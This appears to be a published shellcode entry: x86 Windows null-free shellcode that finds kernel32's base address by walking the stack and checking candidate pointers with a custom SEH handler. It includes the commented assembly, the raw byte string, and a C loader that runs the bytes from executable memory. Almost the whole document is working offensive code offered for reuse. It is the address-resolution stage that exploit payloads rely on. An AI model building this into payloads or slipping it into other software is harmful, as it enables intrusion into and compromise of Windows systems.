# Shellcode Title: Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
# Description:
# This shellcode is a new method to find kernel32 base address by walking down the stack and look for a possible Kernel32 address using custom SEH handler.
# Each address found on the stack will be tested using the Exception handling function. If it's valid and starts with 7, then it's a possible kernel32 address.
# Date: 2/5/2022
# Shellcode Author: Tarek Ahmed
# Tested on: Microsoft Windows 7, and 10
/*
MIT License
Copyright (c) 2022 Tarek Ahmed
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
sub esp, 8
xor eax, eax
cdq
xchg edx, ecx
StackWalk :
mov ebx, [esp + ecx] ; Walking down the stack to find a possible kernel32 pointer
mov edx, ebx
shr ebx, 28 ; Shift right 28 to get the last digit in the address, (looking for 7)
add ecx, 4
cmp ebx, 7 ; is it 7 ?
jne StackWalk
jmp short checking
checkAddress :
push ebp
mov ebp, esp
jmp rev1 ; jmp down to rev1 and up again to avoid null bytes and get the address of next instruciton.
reverse:
pop eax
jmp eax
rev1:
call reverse
add eax, 0x1e
push eax
xor edi, edi
push dword ptr FS : [edi] ; Push FS[0] SEH
mov dword ptr fs : [edi] , esp ; set up or SEH stack
mov eax, dword ptr ss : [ebp + 8]
xchg eax, esi ; We want to call [esi] instead of [eax] next to avoid null bytes
mov eax, dword ptr ds : [esi]
xor eax, eax
jmp short cleanseh
xor eax, eax
inc eax
mov esp, dword ptr fs : [edi]
mov esp, dword ptr ss : [esp]
cleanseh :
pop dword ptr fs : [edi]
add esp, 4
pop ebp
ret
checking:
mov [ebp-0xc], ecx
push edx ; Push the address we want to check if it's valid or not
call checkAddress ; call the custom SEH function
test eax, eax ; is it valid ? 0 ?
je valid
mov ecx, [ebp-0xc]
jmp short StackWalk
valid :
mov ecx, [ebp-0xc]
mov ax, 0xffff ; We want to subtract 0x10000 from the address we found 0xffff + 1 = 0x10000
inc eax
findMZ:
sub edx, eax ; Sub 0x10000 from the possible address
mov dx, ax
mov ax, [edx]
cmp ax, 0x5a4d ; check for MZ to make sure it's a DLL file.
jne findMZ ; If not, subtract one more 0x10000 to get a different section.
xchg edx, ebx
mov edi, [ebx + 0x3c] ; Walk the PE file
add edi, ebx
mov edi, [edi + 0x78]
add edi, ebx
mov edi, [edi + 0xc]
add edi, ebx
add edi, 4
xor eax, eax
push eax
push 0x6c6c642e ; string .dll
push 0x32334c45 ; string EL32 = EL32.dll short for KERNEL32.dll
mov esi, esp
checkKernel :
mov edx, ecx
mov cl, 8 ; Compare string to KERNEL32.dll EDI ==> KERNEl32.dll
cld
repe cmpsb
test ecx, ecx
je foundKernel ; if equal, jmp to foundKernel
mov ecx, edx
jmp StackWalk
foundKernel :
; Kernel32 base address should be in EBX if you reach this line.
*/
#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
unsigned char code[] = "\x83\xEC\x08\x31\xC0\x99\x87\xCA\x8B\x1C\x0C\x89\xDA\xC1\xEB\x1C\x83\xC1\x04\x83\xFB\x07\x75\xF0\xEB\x34\x55\x89\xE5\xEB\x03\x58\xFF\xE0\xE8\xF8\xFF\xFF\xFF\x83\xC0\x1E\x50\x31\xFF\x64\xFF\x37\x64\x89\x27\x8B\x45\x08\x96\x8B\x06\x31\xC0\xEB\x09\x31\xC0\x40\x64\x8B\x27\x8B\x24\x24\x64\x8F\x07\x83\xC4\x04\x5D\xC3\x89\x4D\xF4\x52\xE8\xC3\xFF\xFF\xFF\x85\xC0\x74\x05\x8B\x4D\xF4\xEB\xA8\x8B\x4D\xF4\x66\xB8\xFF\xFF\x40\x29\xC2\x66\x89\xC2\x66\x8B\x02\x66\x3D\x4D\x5A\x75\xF2\x87\xDA\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB1\x08\xFC\xF3\xA6\x85\xC9\x74\x07\x89\xD1\xE9\x5D\xFF\xFF\xFF"
;
int main()
{
void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, code, sizeof(code));
((void(*)())exec)();
return 0;
}
